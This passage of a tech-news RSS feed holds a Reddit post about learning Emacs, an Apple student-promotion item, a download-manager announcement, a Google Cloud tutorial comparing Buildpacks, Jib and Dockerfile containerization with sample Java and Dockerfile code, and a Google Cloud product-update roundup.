cool!</p> <p>Back to the story. Today my friend (also in IT field but has a life) asked me what I was doing (I was learning what is an eshell (and what a shell is essentially)). Honestly, I don't know how to describe the emotions I felt at that moment... One hour later that felt like a minute, I told them all I knew about emacs, linux, and tried to give them a full understanding of how my computer works. Throughout this whole hour I was laughing hysterically at myself when trying to go deeper into the details because I realized how MAD it actually sounded to an outsider. Like have you ever tried to explain to your friend who is not really into computers and uses regular-ass IDE why lisp-interpreter might be one of the greatest things you have ever used? Or for example, why it is actually worth remembering potentially hundreds of keyboard shortcuts instead of "just clicking it with a mouse"? Oh man... and I feel like I am not even actually scratching the surface, I could go soo much deeper!</p> <p>Well anyway, I just felt like I needed to tell somebody that little story, thank you for being my readers :D</p> <p>Enjoy linux, stay fun and don't bully people ;D</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/My_never"> /u/My_never </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1uuqxdu/today_i_suddenly_realized_what_a_mad_man_i_have/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uuqxdu/today_i_suddenly_realized_what_a_mad_man_i_have/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Prepares To Launch Its Student Back To School Deal This Week]]></title>
<description><![CDATA[Every year, students look forward to special offers when buying new gear for their classes. These annual promotions usually happen a bit earlier in the summer, but recent price jumps caused a delay. Now, reports say Apple is finally getting ready to bring back its popular student promotion. This ...]]></description>
<link>https://tsecurity.de/de/3663623/ios-mac-os/apple-prepares-to-launch-its-student-back-to-school-deal-this-week/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3663623/ios-mac-os/apple-prepares-to-launch-its-student-back-to-school-deal-this-week/</guid>
<pubDate>Sun, 12 Jul 2026 18:54:23 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Every year, students look forward to special offers when buying new gear for their classes. These annual promotions usually happen a bit earlier in the summer, but recent price jumps caused a delay. Now, reports say Apple is finally getting ready to bring back its popular student promotion. This means eligible buyers could soon see some nice perks when picking up a new device for the classroom.



Retail stores prepare to showcase new student deals and tables



According to Mark Gurman at Bloomberg, the tech brand is setting up fresh promotional materials in its retail locations by the middle of this week. Staff members will reorganize the floors to include a special education table. This display will likely highlight different models of the Mac alongside other popular products.




https://twitter.com/markgurman/status/2076297126309421331




Usually, the company gives away free accessories like AirPods or a gift card worth over a hundred dollars when someone buys a MacBook or similar hardware for school. A recent memory shortage forced the brand to raise prices on its devices. Because of these higher costs, the upcoming perks might need to be a bit better to catch a buyer's attention.



Shoppers should also know about a recent change to the online education store in the United States. The platform recently added UNiDAYS verification. This means you must clearly prove you are an active student before you can grab a new iPad at a discount. We will soon see what rewards the brand decides to offer students heading back to campus.]]></content:encoded>
</item>
<item>
<title><![CDATA[Firelink: Modern cross-platform download manager with support for media fetch/download]]></title>
<description><![CDATA[Hello! This project began as a fun vibe coding Swift app for Mac, but it quickly evolved into a comprehensive learning experience as I aimed to make it cross-platform. I completely revamped the application from scratch, this time using Rust and Tuari. It was quite a journey, but I’m excited to sh...]]></description>
<link>https://tsecurity.de/de/3663265/linux-tipps/firelink-modern-cross-platform-download-manager-with-support-for-media-fetchdownload/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3663265/linux-tipps/firelink-modern-cross-platform-download-manager-with-support-for-media-fetchdownload/</guid>
<pubDate>Sun, 12 Jul 2026 14:23:22 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hello!</p> <p>This project began as a fun vibe coding Swift app for Mac, but it quickly evolved into a comprehensive learning experience as I aimed to make it cross-platform.</p> <p>I completely revamped the application from scratch, this time using Rust and Tuari. It was quite a journey, but I’m excited to share the first stable version with you!</p> <p>Additionally, there’s Firefox and Chromium extension available for integration, which you can find on the GitHub page.</p> <h1>Features</h1> <ul> <li><strong>Fast segmented downloads</strong> powered by aria2 with configurable connections, retries, and speed limits.</li> <li><strong>Media extraction</strong> with yt-dlp, FFmpeg, and Deno for video/audio links and richer format selection.</li> <li><strong>A real Add window</strong> for manual, extension-captured, and media downloads, including metadata, duplicate handling, and save-location choices before downloads start.</li> <li><strong>Persistent queue management</strong> with safe concurrency limits, pause/resume, retry, redownload, sorting, multi-select, and bulk controls.</li> <li><strong>Download scheduling</strong> with start/stop windows, speed-limiter tools, and optional post-queue actions.</li> <li><strong>Smart organization</strong> through categories, default folders, per-download overrides, and open/reveal/trash actions.</li> <li><strong>Private browser handoff</strong> through authenticated local pairing with replay protection and desktop-server proof checks.</li> <li><strong>Native desktop integration</strong> including tray controls, notifications, completion sounds, sleep prevention, and OS keychain support where available.</li> <li><strong>Diagnostics</strong> built in with engine health checks, structured logs, and packaged-engine verification.</li> <li><strong>Firefox and Chromium Extension</strong>: <ul> <li>Automatic download capture for ordinary browser downloads.</li> <li>Media fetch from the extension popup or page context menu.</li> <li>Context-menu actions for single links and selected text containing links.</li> </ul></li> </ul> <p>Credits to Aria2, yt-dlp, FFmpeg, and Deno projects and their contributors that made this possible.</p> <p>Firelink release page: <a href="https://github.com/nimbold/Firelink/">https://github.com/nimbold/Firelink/</a></p> <p>Firefox-Extension: <a href="https://github.com/nimbold/Firelink-Extension">https://github.com/nimbold/Firelink-Extension</a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/NimBold"> /u/NimBold </a> <br> <span><a href="https://i.redd.it/lzzdkiqqkrch1.png">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uuacup/firelink_modern_crossplatform_download_manager/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Buildpacks vs Jib vs Dockerfile: Comparing containerization methods]]></title>
<description><![CDATA[As developers we work on source code, but production systems don't run source, they need a runnable thing. Starting many years ago, most enterprises were using Java EE (aka J2EE) and the runnable "thing" we would deploy to production was a ".jar", ".war", or ".ear" file. Those files consisted of ...]]></description>
<link>https://tsecurity.de/de/3662836/it-security-nachrichten/buildpacks-vs-jib-vs-dockerfile-comparing-containerization-methods/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662836/it-security-nachrichten/buildpacks-vs-jib-vs-dockerfile-comparing-containerization-methods/</guid>
<pubDate>Sun, 12 Jul 2026 08:06:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph"><p>As developers we work on source code, but production systems don't run source, they need a runnable thing. Starting many years ago, most enterprises were using Java EE (aka J2EE) and the runnable "thing" we would deploy to production was a ".jar", ".war", or ".ear" file. Those files consisted of the compiled Java classes and would run inside of a "container" running on the JVM. As long as your class files were compatible with the JVM and container, the app would just work.</p><p>That all worked great until people started building non-JVM stuff: Ruby, Python, NodeJS, Go, etc. Now we needed another way to package up apps so they could be run on production systems. To do this we needed some kind of virtualization layer that would allow anything to be run. Heroku was one of the first to tackle this and they used a Linux virtualization system called "lxc" - short for Linux Containers. Running a "container" on lxc was half of the puzzle because still a "container" needed to be created from source code, so Heroku invented what they called "Buildpacks" to create a standard way to convert source into a container.</p><p>A bit later a Heroku competitor named dotCloud was trying to tackle similar problems and went a different route which ultimately led to Docker, a standard way to create and run containers across platforms including Windows, Mac, Linux, Kubernetes, and Google Cloud Run. Ultimately the container specification behind Docker became a standard under the <a href="https://opencontainers.org/" target="_blank">Open Container Initiative (OCI)</a> and the virtualization layer switched from lxc to <a href="https://github.com/opencontainers/runc" target="_blank">runc</a> (also an OCI project).</p><p>The traditional way to build a Docker container is built into the <code>docker</code> tool and uses a sequence of special instructions usually in a file named <code>Dockerfile</code> to compile the source code and assemble the "layers" of a container image.</p><p>Yeah, this is confusing because we have all sorts of different "containers" and ways to run stuff in those containers. And there are also many ways to create the things that run in containers. The bit of history is important because it helps us categorize all of this into three parts:</p><ul><li>Container Builders - Turn source code into a Container Image</li><li>Container Images - Archive files containing a "runnable" application</li><li>Containers - Run Container Images</li></ul><p>With Java EE those three categories map to technologies like:</p><ul><li>Container Builders == Ant or Maven</li><li>Container Images == .jar, .war, or .ear</li><li>Containers == JBoss, WebSphere, WebLogic</li></ul><p>With Docker / OCI those three categories map to technologies like:</p><ul><li>Container Builders == Dockerfile, Buildpacks, or Jib</li><li>Container Images == .tar files usually not dealt with directly but through a "container registry"</li><li>Containers == Docker, Kubernetes, Cloud Run</li></ul><h3>Java Sample Application</h3>Let's explore the Container Builder options further on a little Java server application.  If you want to follow along, clone my <a href="https://github.com/jamesward/comparing-docker-methods" target="_blank">comparing-docker-methods project</a>:<p><code>git clone https://github.com/jamesward/comparing-docker-methods.git</code><br></p><p><code>cd comparing-docker-methods</code></p><p></p><p>In that project you'll see a basic Java web server in <code>src/main/java/com/google/WebApp.java</code> that just responds with "hello, world" on a GET request to <code>/</code>. Here is the source:<br></p><p></p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'package com.google;\r\n\r\nimport com.sun.net.httpserver.HttpServer;\r\nimport java.io.IOException;\r\nimport java.io.OutputStream;\r\nimport java.net.InetSocketAddress;\r\n\r\npublic class WebApp {\r\n\r\n  public static void main(String[] args) throws IOException {\r\n    int port = Integer.parseInt(System.getenv().getOrDefault("PORT", "8080"));\r\n    HttpServer server = HttpServer.create(new InetSocketAddress(port), 0);\r\n\r\n    server.createContext("/", handler -&gt; {\r\n      byte[] response = "hello, world".getBytes();\r\n      handler.sendResponseHeaders(200, response.length);\r\n      try (OutputStream os = handler.getResponseBody()) {\r\n        os.write(response);\r\n      }\r\n    });\r\n\r\n    System.out.println("Listening at http://localhost:" + port);\r\n\r\n    server.start();\r\n  }\r\n}'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860670&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>This project uses Maven with a minimal <code>pom.xml</code> build config file for compiling and running the Java server:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', '&lt;?xml version="1.0" encoding="UTF-8"?&gt;\r\n&lt;project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"\r\n    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"&gt;\r\n  &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt;\r\n\r\n  &lt;groupId&gt;com.google&lt;/groupId&gt;\r\n  &lt;artifactId&gt;sample-java-mvn&lt;/artifactId&gt;\r\n  &lt;packaging&gt;jar&lt;/packaging&gt;\r\n  &lt;version&gt;0.1.0-SNAPSHOT&lt;/version&gt;\r\n\r\n  &lt;properties&gt;\r\n    &lt;maven.compiler.source&gt;8&lt;/maven.compiler.source&gt;\r\n    &lt;maven.compiler.target&gt;8&lt;/maven.compiler.target&gt;\r\n  &lt;/properties&gt;\r\n\r\n  &lt;build&gt;\r\n    &lt;plugins&gt;\r\n      &lt;plugin&gt;\r\n        &lt;groupId&gt;org.codehaus.mojo&lt;/groupId&gt;\r\n        &lt;artifactId&gt;exec-maven-plugin&lt;/artifactId&gt;\r\n        &lt;version&gt;1.6.0&lt;/version&gt;\r\n        &lt;executions&gt;\r\n          &lt;execution&gt;\r\n            &lt;goals&gt;\r\n              &lt;goal&gt;java&lt;/goal&gt;\r\n            &lt;/goals&gt;\r\n          &lt;/execution&gt;\r\n        &lt;/executions&gt;\r\n        &lt;configuration&gt;\r\n          &lt;mainClass&gt;com.google.WebApp&lt;/mainClass&gt;\r\n        &lt;/configuration&gt;\r\n      &lt;/plugin&gt;\r\n\r\n      &lt;plugin&gt;\r\n        &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt;\r\n        &lt;artifactId&gt;maven-jar-plugin&lt;/artifactId&gt;\r\n        &lt;version&gt;3.2.0&lt;/version&gt;\r\n        &lt;configuration&gt;\r\n          &lt;archive&gt;\r\n            &lt;manifest&gt;\r\n              &lt;mainClass&gt;com.google.WebApp&lt;/mainClass&gt;\r\n            &lt;/manifest&gt;\r\n          &lt;/archive&gt;\r\n        &lt;/configuration&gt;\r\n      &lt;/plugin&gt;\r\n    &lt;/plugins&gt;\r\n  &lt;/build&gt;\r\n\r\n&lt;/project&gt;'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860c10&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>If you want to run this locally make sure you have Java 8 installed and from the project root directory, run:</p><p><code>./mvnw compile exec:java</code></p><p>You can test the server by visiting: <a href="http://localhost:8080/" target="_blank">http://localhost:8080</a></p><h3>Container Builder: Buildpacks</h3><p>We have an application that we can run locally so let's get back to those Container Builders. Earlier you learned that Heroku invented Buildpacks to create standard, polyglot ways to go from source to a Container Image. When Docker / OCI Containers started gaining popularity Heroku and Pivotal worked together to make their Buildpacks work with Docker / OCI Containers. That work is now a sandbox Cloud Native Computing Foundation project: <a href="https://buildpacks.io/" target="_blank">https://buildpacks.io/</a></p><p>To use Buildpacks you will need to <a href="https://docs.docker.com/get-started/" target="_blank">install Docker</a> and <a href="https://github.com/buildpacks/pack/releases" target="_blank">the pack tool</a>. Now from the command line tell Buildpacks to take your source and turn it into a Container Image:</p><p><code>pack build --builder=gcr.io/buildpacks/builder:v1 comparing-docker-methods:buildpacks</code></p><p>Magic! You didn't have to do anything and the Buildpacks knew how to turn that Java application into a Container Image. It even works on Go, NodeJS, Python, and .Net apps out-of-the-box. So what just happened?  Buildpacks inspect your source and try to identify it as something it knows how to build. In the case of our sample application it noticed the <code>pom.xml</code> file and decided it knows how to build Maven-based applications. The <code>--builder</code> flag told it where to get the Buildpacks from. In this case, <code>gcr.io/buildpacks/builder:v1</code> are the Container Image coordinates to <a href="https://cloud.google.com/blog/products/containers-kubernetes/google-cloud-now-supports-buildpacks">Google Cloud's Buildpacks</a>. Alternatively you could use the Heroku or Paketo Buildpacks. The parameter <code>comparing-docker-methods:buildpacks</code> is the Container Image coordinates for where to store the output. In this case it stores on the local docker daemon. You can now run that Container Image locally with <code>docker</code>:</p><p><code>docker run -it -ePORT=8080 -p8080:8080 comparing-docker-methods:buildpacks</code></p><p>Of course you can also run that Container Image anywhere that runs Docker / OCI Containers like Kubernetes and Cloud Run.</p><p>Buildpacks are nice because in many cases they just work and you don't have to do anything special to turn your source into something runnable. But the resulting Container Images created from Buildpacks can be a bit bulky. Let's use a tool called <a href="https://github.com/wagoodman/dive" target="_blank"><code>dive</code></a> to examine what is in the created container image:</p><p><code>dive comparing-docker-methods:buildpacks</code></p><p></p><p></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Dive_comparison.max-1000x1000.png" alt="Container Image">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>Here you can see the Container Image has 11 layers and a total image size of 319MB. With <code>dive</code> you can explore each layer and see what was changed. In this Container Image the first 6 layers are the base operating system. Layer 7 is the JVM and layer 8 is our compiled application. Layering enables great caching so if only layer 8 changes, then layers 1 through 7 do not need to be re-downloaded. One downside of Buildpacks is how (at least for now) all of the dependencies and compiled application code are stored in a single layer. It would be better to have separate layers for the dependencies and the compiled application.</p><p>To recap, Buildpacks are the easy option that "just works" right out-of-the-box. But the Container Images are a bit large and not optimally layered.</p><h3>Container Builder: Jib</h3><p>The open source <a href="https://github.com/GoogleContainerTools/jib" target="_blank">Jib project</a> is a Java library for creating Container Images with Maven and Gradle plugins. To use it on a Maven project (like the one we from above), just add a build plugin to the <code>pom.xml</code> file:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', '&lt;plugin&gt;\r\n    &lt;groupId&gt;com.google.cloud.tools&lt;/groupId&gt;\r\n    &lt;artifactId&gt;jib-maven-plugin&lt;/artifactId&gt;\r\n    &lt;version&gt;2.6.0&lt;/version&gt;\r\n&lt;/plugin&gt;'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860d30&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>Now a Container Image can be created and stored in the local docker daemon by running:</p><p><code>./mvnw compile jib:dockerBuild -Dimage=comparing-docker-methods:jib</code></p><p>Using <code>dive</code> we will see that the Container Image for this application is now only 127MB thanks to slimmer operating system and JVM layers. Also, on a Spring Boot application we can see how Jib layers the dependencies, resources, and compiled application for better caching:</p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Spring_Boot_Application.max-1000x1000.png" alt="Spring Boot Application">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>In this example the 18MB layer contains the runtime dependencies and the final layer contains the compiled application. Unlike with Buildpacks the original source code is not included in the Container Image. Jib also has a great feature where you can use it without docker being installed, as long as you store the Container Image on an external Container Registry (like DockerHub or the Google Cloud Container Registry). Jib is a great option with Maven and Gradle builds for Container Images that use the JVM.</p><h3>Container Builder: Dockerfile</h3><p>The traditional way to create Container Images is built into the <code>docker</code> tool and uses a sequence of instructions defined in a file usually named <code>Dockerfile</code>. Here is a <code>Dockerfile</code> you can use with the sample Java application:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'FROM adoptopenjdk/openjdk8 as builder\r\n\r\nWORKDIR /app\r\nCOPY . /app\r\n\r\nRUN ./mvnw compile jar:jar\r\n\r\nFROM adoptopenjdk/openjdk8:jre\r\n\r\nCOPY --from=builder /app/target/*.jar /server.jar\r\n\r\nCMD ["java", "-jar", "/server.jar"]'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860d90&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>In this example, the first four instructions start with the AdoptOpenJDK 8 Container Image and build the source to a Jar file. The final Container Image is created from the AdoptOpenJDK 8 JRE Container Image and includes the created Jar file. You can run <code>docker</code> to create the Container Image using the <code>Dockerfile</code> instructions:</p><p><code>docker build -t comparing-docker-methods:dockerfile </code></p><p>Using <code>dive</code> we can see a pretty slim Container Image at 209MB:<br></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Container_image.max-1000x1000.png" alt="Container Image">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>With a <code>Dockerfile</code> we have full control over the layering and base images. For example, we could use the <a href="https://github.com/GoogleContainerTools/distroless/tree/master/java" target="_blank">Distroless Java base image</a> to trim down the Container Image even further. This method of creating Container Images provides a lot of flexibility but we do have to write and maintain the instructions.</p><p>With this flexibility we can do some cool stuff. For example, we can use GraalVM to create a "native image" of our application. This is an ahead-of-time compiled binary which can reduce startup time, reduce memory usage, and alleviate the need for a JVM in the Container Image. And we can go even further and create a statically linked native image which includes everything needed to run so that even an operating system is not needed in the Container Image. Here is the Dockerfile to do that:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'FROM oracle/graalvm-ce:20.2.0-java11 as builder\r\n\r\nWORKDIR /app\r\nCOPY . /app\r\n\r\nRUN gu install native-image\r\n\r\n# BEGIN PRE-REQUISITES FOR STATIC NATIVE IMAGES FOR GRAAL 20.2.0\r\n# SEE: https://github.com/oracle/graal/blob/master/substratevm/StaticImages.md\r\nARG RESULT_LIB="/staticlibs"\r\n\r\nRUN mkdir ${RESULT_LIB} &amp;&amp; \\\r\n    curl -L -o musl.tar.gz https://musl.libc.org/releases/musl-1.2.1.tar.gz &amp;&amp; \\\r\n    mkdir musl &amp;&amp; tar -xvzf musl.tar.gz -C musl --strip-components 1 &amp;&amp; cd musl &amp;&amp; \\\r\n    ./configure --disable-shared --prefix=${RESULT_LIB} &amp;&amp; \\\r\n    make &amp;&amp; make install &amp;&amp; \\\r\n    cd / &amp;&amp; rm -rf /muscl &amp;&amp; rm -f /musl.tar.gz &amp;&amp; \\\r\n    cp /usr/lib/gcc/x86_64-redhat-linux/4.8.2/libstdc++.a ${RESULT_LIB}/lib/\r\n\r\nENV PATH="$PATH:${RESULT_LIB}/bin"\r\nENV CC="musl-gcc"\r\n\r\nRUN curl -L -o zlib.tar.gz https://zlib.net/zlib-1.2.11.tar.gz &amp;&amp; \\\r\n   mkdir zlib &amp;&amp; tar -xvzf zlib.tar.gz -C zlib --strip-components 1 &amp;&amp; cd zlib &amp;&amp; \\\r\n   ./configure --static --prefix=${RESULT_LIB} &amp;&amp; \\\r\n    make &amp;&amp; make install &amp;&amp; \\\r\n    cd / &amp;&amp; rm -rf /zlib &amp;&amp; rm -f /zlib.tar.gz\r\n#END PRE-REQUISITES FOR STATIC NATIVE IMAGES FOR GRAAL 20.2.0\r\n\r\nRUN ./mvnw compile jar:jar\r\n\r\nRUN native-image \\\r\n  --static \\\r\n  --libc=musl \\\r\n  --no-fallback \\\r\n  --no-server \\\r\n  --install-exit-handlers \\\r\n  -H:Name=webapp \\\r\n  -cp /app/target/*.jar \\\r\n  com.google.WebApp\r\n\r\nFROM scratch\r\n\r\nCOPY --from=builder /app/webapp /webapp\r\n\r\nENTRYPOINT ["/webapp"]'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860df0&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>You will see there is a bit of setup needed to support static native images. After that setup the Jar is compiled like before with Maven. Then the <code>native-image</code> tool creates the binary from the Jar. The <code>FROM scratch</code> instruction means the final container image will start with an empty one. The statically linked binary created by <code>native-image</code> is then copied into the empty container.</p><p>Like before you can use <code>docker</code> to build the Container Image:</p><p><code>docker build -t comparing-docker-methods:graalvm .</code></p><p>Using <code>dive</code> we can see the final Container Image is only 11MB!</p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Dive_Image.max-1000x1000.png" alt="Container Image">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>And it starts up super fast because we don't need the JVM, OS, etc. Of course GraalVM is not always a great option as there are some challenges like dealing with reflection and debugging. You can read more about this in my blog, <a href="https://jamesward.com/2020/05/07/graalvm-native-image-tips-tricks/" target="_blank">GraalVM Native Image Tips &amp; Tricks</a>.</p><p>This example does capture the flexibility of the <code>Dockerfile</code> method and the ability to do anything you need. It is a great escape hatch when you need one.</p><h3>Which Method Should You Choose?</h3><p></p><ul><li>The easiest, polyglot method: Buildpacks</li><li>Great layering for JVM apps: Jib</li><li>The escape hatch for when those methods don't fit: Dockerfile</li></ul><p></p><p>Check out my <a href="https://github.com/jamesward/comparing-docker-methods" target="_blank">comparing-docker-methods project</a> to explore these methods as well as the mentioned Spring Boot + Jib example.</p></div>
<div class="block-related_article_tout">





<div class="uni-related-article-tout h-c-page">
  <section class="h-c-grid">
    <a href="https://cloud.google.com/blog/products/containers-kubernetes/google-cloud-now-supports-buildpacks/" data-analytics='{
                       "event": "page interaction",
                       "category": "article lead",
                       "action": "related article - inline",
                       "label": "article: {slug}"
                     }' class="uni-related-article-tout__wrapper h-c-grid__col h-c-grid__col--8 h-c-grid__col-m--6 h-c-grid__col-l--6
        h-c-grid__col--offset-2 h-c-grid__col-m--offset-3 h-c-grid__col-l--offset-3 uni-click-tracker">
      <div class="uni-related-article-tout__inner-wrapper">
        <p class="uni-related-article-tout__eyebrow h-c-eyebrow">Related Article</p>

        <div class="uni-related-article-tout__content-wrapper">
          <div class="uni-related-article-tout__image-wrapper">
            <div class="uni-related-article-tout__image"></div>
          </div>
          <div class="uni-related-article-tout__content">
            <h4 class="uni-related-article-tout__header h-has-bottom-margin">Announcing Google Cloud buildpacks—container images made easy</h4>
            <p class="uni-related-article-tout__body">Google Cloud buildpacks make it much easier and faster to build applications on top of containers.</p>
            <div class="cta module-cta h-c-copy  uni-related-article-tout__cta muted">
              <span class="nowrap">Read Article
                <svg class="icon h-c-icon" role="presentation">
                  <use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#mi-arrow-forward"></use>
                </svg>
              </span>
            </div>
          </div>
        </div>
      </div>
    </a>
  </section>
</div>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What’s new with Google Cloud]]></title>
<description><![CDATA[Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. Tip: Not sure where to find what you’re looking for on the Google Cloud blog? Start here: Google Cloud bl...]]></description>
<link>https://tsecurity.de/de/3662833/it-security-nachrichten/whats-new-with-google-cloud/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662833/it-security-nachrichten/whats-new-with-google-cloud/</guid>
<pubDate>Sun, 12 Jul 2026 08:06:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph"><p data-block-key="kgod7">Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. </p><hr><p data-block-key="ru1z9"><b>Tip</b>: Not sure where to find what you’re looking for on the Google Cloud blog? Start here: <a href="https://cloud.google.com/blog/topics/inside-google-cloud/complete-list-google-cloud-blog-links-2021">Google Cloud blog 101: Full list of topics, links, and resources</a>.</p><hr><p data-block-key="b0lnw"></p></div>
<div class="block-aside"><dl>
    <dt>aside_block</dt>
    <dd>&lt;ListValue: []&gt;</dd>
</dl></div>
<div class="block-paragraph_advanced"><h3>Jul 6 - Jul 10</h3>
<ul>
<li><strong>Webinar: Introducing Google Cloud NGFW Enterprise advanced malware protection - powered by Palo Alto Networks<br></strong>Discover the new Cloud NGFW advanced malware sandbox, arriving in preview later this year. Powered by Palo Alto Networks Advanced Wildfire, it leverages data from 70,000+ customers to help defeat advanced malware. Join us on July 16 at 11 AM EDT to learn how to build a resilient, zero-trust cloud infrastructure that protects your apps and data, wherever they reside.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="18" href="https://www.brighttalk.com/webcast/18282/668861?utm_source=GCBlog" rel="noreferrer noopener" target="_blank">Register for the webinar now</a></li>
<li><strong>Safely run AI-generated code in Cloud Run sandboxes<br></strong>Cloud Run sandboxes, now in public preview, are lightweight, isolated execution boundaries that you can spawn near-instantly <strong>within your existing Cloud Run service instances</strong>.<br><br>Whether you need to let an LLM run a dynamically generated Python script to calculate business margins or spin up a headless browser to perform web research, Cloud Run sandboxes give you a secure, isolated sandbox to run these tasks without leaving your serverless environment.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="22" href="https://cloud.google.com/blog/topics/developers-practitioners/google-cloud-run-sandboxes-are-in-public-preview" rel="noreferrer noopener" target="_blank">Read the blog</a><span> to learn more and get started today.</span></li>
<li><strong>Australia API Horizon: Scaling Enterprise Governed AI Agents<br></strong>The transition from AI chatbots to autonomous agents is the most critical integration point for your business. Join Google Cloud at our upcoming events to explore exclusive deep-dive sessions on architecting for the agentic era.<br><br>Discover how to use Apigee as an intelligent AI Gateway to govern, secure, and scale high-performance architectures. You will learn to seamlessly build AI tools from your existing APIs and maintain control over your entire ecosystem.<br><br>Join us in your preferred city:
<ul>
<li><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="36" href="https://goo.gle/4voh18S" rel="noreferrer noopener" target="_blank"><strong>Sydney:</strong> July 28, 2026, at Google Sydney, One Darling Island.</a></li>
<li><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="37" href="https://goo.gle/4h2x0FS" rel="noreferrer noopener" target="_blank"><strong>Canberra:</strong> July 29, 2026, at Hotel Realm.</a></li>
<li><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="38" href="https://goo.gle/4yisb1F" rel="noreferrer noopener" target="_blank"><strong>Melbourne:</strong> August 4, 2026, at Google Melbourne.</a></li>
</ul>
</li>
<li><strong>Build highly available, multi-region services on Cloud Run<br></strong>Maintaining uptime for business-critical applications just got a lot easier on Cloud Run. Service health, now Generally Available, automates cross-region failover by leveraging readiness probes for instance-level health checks with a simple, two-click setup. You can configure service health with global external Application Load Balancers for public-facing applications or cross-region internal Application Load Balancers for private networking traffic.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="42" href="https://cloud.google.com/run/docs/configuring/configure-service-health" rel="noreferrer noopener" target="_blank">Learn how to configure service health for Cloud Run.</a></li>
